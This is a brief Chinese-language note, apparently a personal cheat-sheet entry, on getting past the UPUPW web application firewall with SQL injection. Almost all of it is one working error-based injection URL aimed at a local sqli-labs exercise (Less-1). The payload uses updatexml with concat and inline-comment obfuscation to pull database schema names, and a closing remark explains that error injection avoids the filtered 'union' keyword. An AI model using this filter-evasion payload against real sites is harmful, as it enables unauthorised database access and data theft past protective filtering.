upupw注入by pass

http://127.0.0.1/test/Less-1/?id=1' and updatexml(null,concat(0x5c,(/*!00000select SCHEMA_name*/from/*!information_schema*/.schemata   lIMIT 0,1),0x5c),null)-- -

关键是用报错注入， 报错注入没有关键字union